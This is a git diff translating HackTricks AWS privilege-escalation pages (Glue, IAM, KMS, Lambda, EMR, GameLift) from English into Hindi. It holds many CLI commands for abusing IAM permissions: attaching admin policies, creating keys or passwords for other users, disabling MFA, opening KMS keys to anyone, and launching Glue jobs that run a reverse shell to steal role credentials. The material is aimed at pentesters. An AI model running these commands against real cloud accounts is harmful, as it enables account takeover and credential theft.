related. +> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से IAM भूमिका को संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स को चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं। -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**संभावित प्रभाव:** AWS प्रबंधित भूमिका के लिए प्रिवेस्क arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +बस इस अनुमति के साथ, एक हमलावर **Jupyter Notebook तक पहुँच** प्राप्त कर सकेगा और इससे संबंधित IAM भूमिका को चुरा सकेगा।\ +नोटबुक का URL है `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से IAM भूमिका को संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स को चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं। -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**संभावित प्रभाव:** AWS प्रबंधित भूमिका के लिए प्रिवेस्क arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..d2618fda4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +इस अनुमति के साथ, एक हमलावर **नए गेम बिल्ड फ़ाइलों को अपलोड करते समय उपयोग के लिए क्रेडेंशियल्स का एक ताजा सेट प्राप्त कर सकता है** Amazon GameLift के Amazon S3 पर। यह **S3 अपलोड क्रेडेंशियल्स** लौटाएगा। ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - -## References +## संदर्भ - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..1f7b3bc74 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +इन अनुमतियों वाले उपयोगकर्ता **एक नया AWS Glue विकास अंत बिंदु सेटअप कर सकते हैं**, **Glue द्वारा अनुमेय एक मौजूदा सेवा भूमिका को इस अंत बिंदु पर विशिष्ट अनुमतियों के साथ असाइन करते हैं**। +सेटअप के बाद, **हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है**, और असाइन की गई भूमिका के IAM क्रेडेंशियल चुरा सकता है: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +गोपनीयता के उद्देश्य के लिए, Glue वर्चुअल मशीन के अंदर IAM क्रेडेंशियल्स का उपयोग करने की सिफारिश की जाती है। -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**संभावित प्रभाव:** निर्दिष्ट Glue सेवा भूमिका तक प्रिवेस्क। ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +इस अनुमति वाले उपयोगकर्ता **एक मौजूदा Glue विकास** अंत बिंदु की SSH कुंजी को **बदल सकते हैं, जिससे SSH पहुंच सक्षम होती है**। इससे हमलावर को अंत बिंदु की संलग्न भूमिका के विशेषाधिकारों के साथ आदेश निष्पादित करने की अनुमति मिलती है: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**संभावित प्रभाव:** उपयोग की गई गोंद सेवा भूमिका के लिए प्रिवेस्क। ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +उपयोगकर्ता जिनके पास **`iam:PassRole`** है, जो **`glue:CreateJob` या `glue:UpdateJob`** के साथ मिलकर, और **`glue:StartJobRun` या `glue:CreateTrigger`** में से किसी एक के साथ मिलकर **AWS Glue नौकरी** बना या अपडेट कर सकते हैं, किसी भी **गोंद सेवा खाते** को संलग्न कर सकते हैं, और नौकरी के निष्पादन को प्रारंभ कर सकते हैं। नौकरी की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग **IAM क्रेडेंशियल** को निकालने के लिए किया जा सकता है जो गोंद नौकरी से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**संभावित प्रभाव:** निर्दिष्ट गोंद सेवा भूमिका के लिए प्रिवेस्क। ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +केवल अपडेट अनुमति के साथ, एक हमलावर पहले से जुड़े भूमिका के IAM क्रेडेंशियल्स चुरा सकता है। -**Potential Impact:** Privesc to the glue service role attached. +**संभावित प्रभाव:** जुड़े गोंद सेवा भूमिका के लिए प्रिवेस्क। -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..f8bc611c9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +IAM के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. +एक नया IAM नीति संस्करण बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करते हुए `--set-as-default` ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है। **Exploit Command:** - ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**प्रभाव:** सीधे विशेषाधिकारों को बढ़ाता है जिससे किसी भी संसाधन पर कोई भी क्रिया की जा सके। ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. - -**Bash Command:** +IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो संभावित रूप से विशेषाधिकारों को बढ़ा सकता है। +**Bash कमांड:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**प्रभाव:** अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि। ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +किसी अन्य उपयोगकर्ता के लिए एक्सेस की आईडी और गुप्त एक्सेस की बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है। +**शोषण:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि। ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +AWS कंसोल लॉगिन के लिए पासवर्ड सेट करने सहित एक लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है। +**निर्माण के लिए शोषण:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**अपडेट के लिए शोषण:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**प्रभाव:** "किसी भी" उपयोगकर्ता के रूप में लॉग इन करके सीधे विशेषाधिकार वृद्धि। ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +एक अक्षम एक्सेस कुंजी को सक्षम करने की अनुमति देता है, यदि हमलावर के पास अक्षम कुंजी है तो यह अनधिकृत पहुंच की संभावना पैदा कर सकता है। +**शोषण:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**प्रभाव:** एक्सेस कीज़ को फिर से सक्रिय करके सीधे विशेषाधिकार वृद्धि। ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +विशिष्ट AWS सेवाओं (जैसे, CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल बनाने या रीसेट करने की अनुमति देता है, संबंधित उपयोगकर्ता के अनुमतियों को विरासत में लेते हुए। +**निर्माण के लिए शोषण:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**रीसेट के लिए शोषण:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**प्रभाव:** उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे विशेषाधिकार वृद्धि। ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +उपयोगकर्ताओं या समूहों को नीतियाँ संलग्न करने की अनुमति देता है, संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे विशेषाधिकार बढ़ाता है। +**उपयोगकर्ता के लिए शोषण:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**समूह के लिए शोषण:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**प्रभाव:** नीति द्वारा प्रदान की गई किसी भी चीज़ के लिए सीधे विशेषाधिकार वृद्धि। ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे विशेषाधिकार वृद्धि संभव होती है। +**भूमिका के लिए शोषण:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**इनलाइन नीतियों के लिए शोषण:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +आप एक नीति का उपयोग कर सकते हैं जैसे: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**प्रभाव:** नीतियों के माध्यम से अनुमतियों को जोड़कर सीधे विशेषाधिकार वृद्धि। ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +अपने आप को IAM समूह में जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है। +**शोषण:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**प्रभाव:** समूह की अनुमतियों के स्तर तक सीधे विशेषाधिकार वृद्धि। ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +एक भूमिका के assume role नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के ग्रहण को सक्षम बनाता है। +**शोषण:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +जहाँ नीति निम्नलिखित की तरह दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**प्रभाव:** किसी भी भूमिका की अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि। ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +कोडकमिट के लिए प्रमाणीकरण के लिए SSH सार्वजनिक कुंजी अपलोड करने और MFA उपकरणों को निष्क्रिय करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है। +**SSH कुंजी अपलोड के लिए शोषण:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**MFA निष्क्रियता के लिए शोषण:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**प्रभाव:** कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को अक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि। ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +MFA डिवाइस के पुनर्संक्रमण की अनुमति देता है, जो संभावित रूप से MFA सुरक्षा में हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि की ओर ले जा सकता है। +**बाश कमांड:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**प्रभाव:** MFA उपकरणों को जोड़ने या हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि। ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +इन अनुमतियों के साथ आप **SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं**। फिर, आप **SAML संघ** का दुरुपयोग करके **किसी भी भूमिका के साथ लॉगिन** कर सकते हैं जो इसे **विश्वास** करती है। +ध्यान दें कि ऐसा करने पर **वैध उपयोगकर्ता लॉगिन नहीं कर पाएंगे**। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डाल सकते हैं, लॉगिन कर सकते हैं और पिछले को फिर से कॉन्फ़िगर कर सकते हैं। ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: एक उपकरण जो SAML मेटाडेटा उत्पन्न करने और निर्दिष्ट भूमिका के साथ लॉगिन करने में सक्षम हो ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये **अनुमतियाँ** हैं, तो वह प्रदाता पर भरोसा करने वाली सभी भूमिकाओं में लॉगिन करने के लिए एक नया **थंबप्रिंट** जोड़ सकता है। ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## संदर्भ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..38fa9af78 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +KMS के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +इन अनुमतियों के साथ **कुंजी के लिए पहुँच अनुमतियों को संशोधित करना संभव है** ताकि इसे अन्य खातों या यहां तक कि किसी भी व्यक्ति द्वारा उपयोग किया जा सके: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +यह **एक प्रिंसिपल को KMS कुंजी का उपयोग करने की अनुमति देता है:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> एक ग्रांट केवल कुछ प्रकार के संचालन की अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> ध्यान दें कि KMS को **ग्रांट उत्पन्न होने के बाद कुंजी का उपयोग करने के लिए उपयोगकर्ता को अनुमति देने में कुछ मिनट लग सकते हैं**। एक बार वह समय बीत जाने के बाद, प्रिंसिपल KMS कुंजी का उपयोग बिना कुछ निर्दिष्ट किए कर सकता है।\ +> हालाँकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है [एक ग्रांट टोकन का उपयोग करें](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (निम्नलिखित कोड की जांच करें)।\ +> [**अधिक जानकारी के लिए इसे पढ़ें**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)। ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +ध्यान दें कि कुंजियों के अनुदान को सूचीबद्ध करना संभव है: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +इन अनुमतियों के साथ, एक अलग क्षेत्र में एक अलग नीति के साथ एक मल्टी-क्षेत्र सक्षम KMS कुंजी को पुन: उत्पन्न करना संभव है। +इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक अपनी पहुंच प्राप्त कर सकता है और इसका उपयोग कर सकता है। ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को डिक्रिप्ट करने की अनुमति देती है।\ +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..06c6f236f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +lambda के बारे में अधिक जानकारी: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +**`iam:PassRole`, `lambda:CreateFunction`, और `lambda:InvokeFunction`** अनुमतियों वाले उपयोगकर्ता अपनी विशेषताओं को बढ़ा सकते हैं।\ +वे **एक नया Lambda फ़ंक्शन बना सकते हैं और उसे एक मौजूदा IAM भूमिका सौंप सकते हैं**, जिससे फ़ंक्शन को उस भूमिका से संबंधित अनुमतियाँ मिलती हैं। उपयोगकर्ता फिर **इस Lambda फ़ंक्शन में कोड लिख और अपलोड कर सकता है (उदाहरण के लिए एक rev shell)**।\ +एक बार फ़ंक्शन सेटअप हो जाने के बाद, उपयोगकर्ता **इसके निष्पादन को ट्रिगर कर सकता है** और AWS API के माध्यम से Lambda फ़ंक्शन को कॉल करके इच्छित क्रियाएँ कर सकता है। यह दृष्टिकोण प्रभावी रूप से उपयोगकर्ता को Lambda फ़ंक्शन के माध्यम से अप्रत्यक्ष रूप से कार्य करने की अनुमति देता है, जो कि इससे संबंधित IAM भूमिका द्वारा दी गई पहुँच के स्तर के साथ कार्य करता है।\\ +एक हमलावर इसका दुरुपयोग करके **rev shell प्राप्त कर सकता है और टोकन चुरा सकता है**: 